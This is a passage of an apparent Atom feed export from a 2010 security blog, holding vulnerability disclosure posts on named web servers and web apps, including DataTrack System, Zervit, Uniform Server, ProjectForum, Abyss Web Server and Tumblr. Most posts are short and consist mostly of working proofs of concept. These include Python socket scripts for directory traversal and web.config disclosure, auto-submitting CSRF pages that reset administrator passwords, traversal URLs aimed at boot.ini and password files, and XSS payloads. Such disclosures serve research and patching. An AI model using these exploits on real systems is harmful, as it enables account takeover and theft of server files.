type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/7578816534328271413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/7578816534328271413'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/fortitude-http-1016-denial-of-service.html' title='Fortitude HTTP 1.0.1.6 Denial-of-Service'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-4352429369961040127</id><published>2010-05-17T20:19:00.001-07:00</published><updated>2010-05-17T21:18:13.469-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='configuration disclosure'/><category scheme='http://www.blogger.com/atom/ns#' term='DataTrack System'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='source disclosure'/><category scheme='http://www.blogger.com/atom/ns#' term='persistent xss'/><category scheme='http://www.blogger.com/atom/ns#' term='directory disclosure'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>DataTrack System 3.5 Persistent XSS / Directory Disclosure / Configuration Disclosure / Source Disclosure</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Persistent XSS&lt;/span&gt;&lt;br /&gt;User submitted data is not HTML entity encoded before it is rendered.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit&lt;/span&gt;&lt;br /&gt;Login using the web client and submit a request with summary set to &amp;lt;script&amp;gt;alert(0)&amp;lt;/script&amp;gt;. Navigate to My History to see the result. &lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Directory Disclosure&lt;/span&gt;&lt;br /&gt;The contents of the root directory can be listed by using a specially crafted URL.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit&lt;/span&gt;&lt;br /&gt;%u0085&lt;br /&gt;%u00A0&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;a href="http://localhost/%u0085/"&gt;http://localhost/%u0085/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://localhost/%u00A0/"&gt;http://localhost/%u00A0/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Configuration / Source Disclosure&lt;/span&gt;&lt;br /&gt;Forbidden file types (e.g. ascx, config) can be downloaded by appending a backslash to the filename.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit&lt;/span&gt;&lt;br /&gt;GET /web.config\ HTTP/1.1&lt;br /&gt;Host: localhost&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;pre name="code" class="py"&gt;import socket&lt;br /&gt;host ='localhost'&lt;br /&gt;port = 80&lt;br /&gt;&lt;br /&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;s.connect((host, port))&lt;br /&gt;s.send('GET /web.config\ HTTP/1.1\r\n'\&lt;br /&gt;       'Host: ' + host + '\r\n\r\n')&lt;br /&gt;&lt;br /&gt;while 1:&lt;br /&gt;    response = s.recv(8192)&lt;br /&gt;    if not response: break&lt;br /&gt;    print response&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-4352429369961040127?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/4352429369961040127/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/datatrack-system-35-persistent-xss.html#comment-form' title='151 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4352429369961040127'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4352429369961040127'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/datatrack-system-35-persistent-xss.html' title='DataTrack System 3.5 Persistent XSS / Directory Disclosure / Configuration Disclosure / Source Disclosure'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>151</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-2280558029786520335</id><published>2010-05-15T22:03:00.000-07:00</published><updated>2010-05-15T23:50:08.698-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='http server'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='directory traversal'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Forum Server'/><title type='text'>Open Forum Server 2.2 b005 Directory Traversal</title><content type='html'>It's possible to navigate the local file system of a server running &lt;a href="http://code.google.com/p/open-forum"&gt;Open Forum Server 2.2 b005&lt;/a&gt; by using a specially crafted URL.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit:&lt;/span&gt;&lt;br /&gt;%2F../&lt;br /&gt;%5C../&lt;br /&gt;%5C&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://localhost/%5C../%5C../%5C../%5C../%5C../%5C../%5C../boot.ini"&gt;http://localhost/%5C../%5C../%5C../%5C../%5C../%5C../%5C../boot.ini&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://localhost/Admin/Users/Admin/private%5Cpassword.txt"&gt;http://localhost/Admin/Users/Admin/private%5Cpassword.txt&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note: the percent encoded backslash in the second second url bypasses authentication. However, the response is malformed so a debugging proxy may be necessary to view it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-2280558029786520335?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/2280558029786520335/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/open-forum-server-22-b005-directory.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2280558029786520335'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2280558029786520335'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/open-forum-server-22-b005-directory.html' title='Open Forum Server 2.2 b005 Directory Traversal'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-1232048431594518308</id><published>2010-05-15T19:08:00.000-07:00</published><updated>2010-05-15T23:49:38.181-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='http server'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='Zipserver'/><category scheme='http://www.blogger.com/atom/ns#' term='directory traversal'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Zipserver 1.0 Directory Traversal</title><content type='html'>It's possible to navigate the local file system of a server running &lt;a href="http://sourceforge.net/projects/zipserver/"&gt;Zipserver 1.0&lt;/a&gt; by using a specially crafted URL.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit:&lt;/span&gt;&lt;br /&gt;..%2F/&lt;br /&gt;                                                                                                    ..%5C/&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://localhost/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/"&gt;http://localhost/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://localhost/..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C/"&gt;http://localhost/..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-1232048431594518308?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/1232048431594518308/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/zipserver-10-directory-traversal.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1232048431594518308'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1232048431594518308'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/zipserver-10-directory-traversal.html' title='Zipserver 1.0 Directory Traversal'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-6905765546033041176</id><published>2010-05-15T16:37:00.000-07:00</published><updated>2010-05-15T16:47:31.718-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='The Uniform Server'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>The Uniform Server 5.6.5 XSRF</title><content type='html'>A cross-site request forgery vunlerability in The Uniform Server 5.6.5 web UI can be exploited to change various administrative passwords.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC:&lt;/span&gt;&lt;pre name="code" class="js"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;    &amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;        window.onload = function() {&lt;br /&gt;            var url = 'http://localhost/apanel';&lt;br /&gt;            &lt;br /&gt;            var xsrs = [&lt;br /&gt;                {&lt;br /&gt;                    "action": url + "/apsetup.php",&lt;br /&gt;                    "method": "post",&lt;br /&gt;                    "submitCall": "document.forms[0].submit.click()",&lt;br /&gt;                    "fields": [&lt;br /&gt;                        { "name": "apuser", "value": "new_username" },&lt;br /&gt;                        { "name": "appass", "value": "new_password" },&lt;br /&gt;                        { "name": "submit", "value": "Change", "type": "submit" }&lt;br /&gt;                    ]&lt;br /&gt;                },&lt;br /&gt;                {&lt;br /&gt;                    "action": url + "/psetup.php",&lt;br /&gt;                    "method": "post",&lt;br /&gt;                    "submitCall": "document.forms[0].submit.click()",&lt;br /&gt;                    "fields": [&lt;br /&gt;                        { "name": "puser", "value": "new_username" },&lt;br /&gt;                        { "name": "ppass", "value": "new_password" },&lt;br /&gt;                        { "name": "submit", "value": "Change", "type": "submit" }&lt;br /&gt;                    ]&lt;br /&gt;                },&lt;br /&gt;                {&lt;br /&gt;                    "action": url + "/sslpsetup.php",&lt;br /&gt;                    "method": "post",&lt;br /&gt;                    "submitCall": "document.forms[0].submit.click()",&lt;br /&gt;                    "fields": [&lt;br /&gt;                        { "name": "puser", "value": "new_username" },&lt;br /&gt;                        { "name": "ppass", "value": "new_password" },&lt;br /&gt;                        { "name": "submit", "value": "Change", "type": "submit" }&lt;br /&gt;                    ]&lt;br /&gt;                },&lt;br /&gt;                {&lt;br /&gt;                    "action": url + "/mqsetup.php",&lt;br /&gt;                    "method": "post",&lt;br /&gt;                    "submitCall": "document.forms[0].submit.click()",&lt;br /&gt;                    "fields": [&lt;br /&gt;                        { "name": "qpass", "value": "new_password" },&lt;br /&gt;                        { "name": "submit", "value": "Change", "type": "submit" }&lt;br /&gt;                    ]&lt;br /&gt;                }&lt;br /&gt;            ];&lt;br /&gt;&lt;br /&gt;            for (var x = 0; x &amp;lt; xsrs.length; x++) {&lt;br /&gt;                var attackFrame = document.createElement('iframe');&lt;br /&gt;&lt;br /&gt;                var html = '&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;form action="' + xsrs[x].action + '" ' +&lt;br /&gt;                    'method="' + xsrs[x].method + '"&amp;gt;';&lt;br /&gt;&lt;br /&gt;                for (var y = 0; y &amp;lt; xsrs[x].fields.length; y++) {&lt;br /&gt;                    html += '&amp;lt;input type="' +&lt;br /&gt;                        (xsrs[x].fields[y].type != null ?&lt;br /&gt;                            xsrs[x].fields[y].type : 'hidden') + '" ' +&lt;br /&gt;                        'name="' + xsrs[x].fields[y].name + '" ' +&lt;br /&gt;                        'value="' + xsrs[x].fields[y].value + '" /&amp;gt;';&lt;br /&gt;                }&lt;br /&gt;&lt;br /&gt;                html += '&amp;lt;/form&amp;gt;&amp;lt;script&amp;gt;' + xsrs[x].submitCall + '\x3c/script&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;';&lt;br /&gt;&lt;br /&gt;                document.body.appendChild(attackFrame);&lt;br /&gt;&lt;br /&gt;                attackFrame.contentDocument.write(html);&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    &amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-6905765546033041176?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/6905765546033041176/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/uniform-server-565-xsrf.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/6905765546033041176'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/6905765546033041176'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/uniform-server-565-xsrf.html' title='The Uniform Server 5.6.5 XSRF'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-8718851436293208255</id><published>2010-05-13T17:40:00.000-07:00</published><updated>2010-05-13T17:46:52.453-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='persistent xss'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>ProjectForum 6.5.2.2978 XSRF / XSS</title><content type='html'>A cross-site request forgery vunlerability in &lt;a href="http://www.projectforum.com/pf/"&gt;ProjectForum 6.5.2.2978&lt;/a&gt; can be exploited to reconfigure the server (e.g. admin password, create group password, port) with a malicious GET request.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC:&lt;/span&gt;&lt;pre name="code" class="html"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;    &amp;lt;body&amp;gt;&lt;br /&gt;        &amp;lt;img src="http://localhost/admin/site.html?adminpasswd=new_password&amp;adminpasswd2=new_password&amp;port=80&amp;theme=default&amp;createpasswd=new_password&amp;createpasswd2=new_password&amp;action=Save+Changes&amp;formSubmitted=1" /&amp;gt;   &lt;br /&gt;    &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Several reflected and persistent cross-site scripting vulnerabilities are present.                         &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC:&lt;/span&gt;&lt;br /&gt;Reflected: &lt;br /&gt;&lt;a href="http://localhost/1/admin/newpage.html?name=%22%3E%3Cscript%3Ealert(0)%3C/script%3E"&gt;http://localhost/1/admin/newpage.html?name=%22%3E%3Cscript%3Ealert(0)%3C/script%3E&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Persistent: &lt;br /&gt;Edit a page and add the following&lt;br /&gt;http://"onmouseover="alert(0)"style="position:absolute;top:0;left:0;width:9999px;height:9999px;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-8718851436293208255?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/8718851436293208255/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/projectforum-6522978-xsrf-xss.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8718851436293208255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8718851436293208255'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/projectforum-6522978-xsrf-xss.html' title='ProjectForum 6.5.2.2978 XSRF / XSS'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-102515062616628907</id><published>2010-05-13T15:30:00.000-07:00</published><updated>2010-05-13T15:42:41.478-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='Abyss Web Server'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Abyss Web Server X1 XSRF</title><content type='html'>A cross-site request forgery vunlerability in the &lt;a href="http://www.aprelium.com/abyssws/download.php"&gt;Abyss Web Server X1&lt;/a&gt; management console can be exploited to change both the username and password of the logged in user.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC:&lt;/span&gt;&lt;pre name="code" class="html"&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;    &amp;lt;body onload="document.forms[0].submit()"&amp;gt;&lt;br /&gt;        &amp;lt;form method="post" action="http://localhost:9999/console/credentials"&amp;gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="/console/credentials/login" &lt;br /&gt;                   value="new_username" /&amp;gt;    &lt;br /&gt;            &amp;lt;input type="hidden" name="/console/credentials/password/$pass1" &lt;br /&gt;                   value="new_password" /&amp;gt;    &lt;br /&gt;            &amp;lt;input type="hidden" name="/console/credentials/password/$pass2" &lt;br /&gt;                   value="new_password" /&amp;gt;    &lt;br /&gt;            &amp;lt;input type="hidden" name="/console/credentials/bok" &lt;br /&gt;                   value="%C2%A0%C2%A0OK%C2%A0%C2%A0" /&amp;gt;    &lt;br /&gt;        &amp;lt;/form&amp;gt;    &lt;br /&gt;    &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-102515062616628907?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/102515062616628907/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/abyss-web-server-x1-xsrf.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/102515062616628907'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/102515062616628907'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/abyss-web-server-x1-xsrf.html' title='Abyss Web Server X1 XSRF'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-4599484231606821327</id><published>2010-05-11T19:43:00.000-07:00</published><updated>2010-05-11T19:50:59.581-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASCII'/><category scheme='http://www.blogger.com/atom/ns#' term='http server'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='Zervit'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><category scheme='http://www.blogger.com/atom/ns#' term='directory traversal'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Zervit 0.4 Directory Traversal</title><content type='html'>It's possible to navigate the local file system of a server running &lt;a href="http://sourceforge.net/projects/zervit/"&gt;Zervit 0.4&lt;/a&gt; by using a specially crafted HTTP request. The resource path must be relative and the slashes unencoded.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit:&lt;/span&gt; &lt;br /&gt;GET /\../ HTTP/1.1&lt;br /&gt;&lt;br /&gt;Host: localhost&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;or&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;GET //../ HTTP/1.1&lt;br /&gt;&lt;br /&gt;Host: localhost&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;zervit0.4-traversal.py&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="python"&gt;import sys, struct, socket&lt;br /&gt;host ='localhost'&lt;br /&gt;port = 80&lt;br /&gt;&lt;br /&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;s.connect((host, port))&lt;br /&gt;s.send('GET /' + '\..' * 32 + '/ HTTP/1.1\r\n'&lt;br /&gt;       'Host: ' + host + '\r\n\r\n')&lt;br /&gt;&lt;br /&gt;while 1:&lt;br /&gt;    response = s.recv(8192)&lt;br /&gt;    if not response: break&lt;br /&gt;    print response&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-4599484231606821327?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/4599484231606821327/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/zervit-04-directory-traversal.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4599484231606821327'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4599484231606821327'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/zervit-04-directory-traversal.html' title='Zervit 0.4 Directory Traversal'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-8368712742775975860</id><published>2010-05-09T19:24:00.000-07:00</published><updated>2010-05-09T19:26:41.750-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASCII'/><category scheme='http://www.blogger.com/atom/ns#' term='Mereo'/><category scheme='http://www.blogger.com/atom/ns#' term='http server'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='directory traversal'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Mereo 1.9.1 Directory Traversal</title><content type='html'>It's possible to navigate the local file system of a server running &lt;a href="http://sourceforge.net/projects/mereo/files/Mereo%201.9.1/mereo-1.9.1-setup.zip/download"&gt;Mereo 1.9.1&lt;/a&gt; by using a specially crafted URL.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit:&lt;/span&gt; %80../&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC:&lt;/span&gt; &lt;a href="http://localhost/%80../%80../%80../%80../%80../%80../%80../%80../"&gt;http://localhost/%80../%80../%80../%80../%80../%80../%80../%80../&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-8368712742775975860?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/8368712742775975860/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/mereo-191-directory-traversal.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8368712742775975860'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8368712742775975860'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/mereo-191-directory-traversal.html' title='Mereo 1.9.1 Directory Traversal'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-5731506310368513938</id><published>2010-05-08T14:59:00.000-07:00</published><updated>2010-05-08T15:04:44.739-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tumblr.com'/><category scheme='http://www.blogger.com/atom/ns#' term='social networking'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='http proxy'/><category scheme='http://www.blogger.com/atom/ns#' term='fiddler'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='persistent xss'/><category scheme='http://www.blogger.com/atom/ns#' term='type 2 xss'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Tumblr.com Persistent XSS</title><content type='html'>onmouseover attributes added to user submitted markup via HTTP proxy are not stripped.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit:&lt;/span&gt; Create a new link, add a description, and set the HTML to &amp;lt;h1&amp;gt;test&amp;lt;/h1&amp;gt;. Submit the form and capture the request using an HTTP proxy (e.g. Fiddler). Change the post[three] value to &amp;lt;h1 onmouseover="alert(0)"&amp;gt;test&amp;lt;/h1&amp;gt; and resume the request.                 &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC:&lt;/span&gt; &lt;a href="http://asdfffffffff.tumblr.com/   "&gt;http://asdfffffffff.tumblr.com/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-5731506310368513938?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/5731506310368513938/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/tumblrcom-persistent-xss.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5731506310368513938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5731506310368513938'/><link rel='alternate' 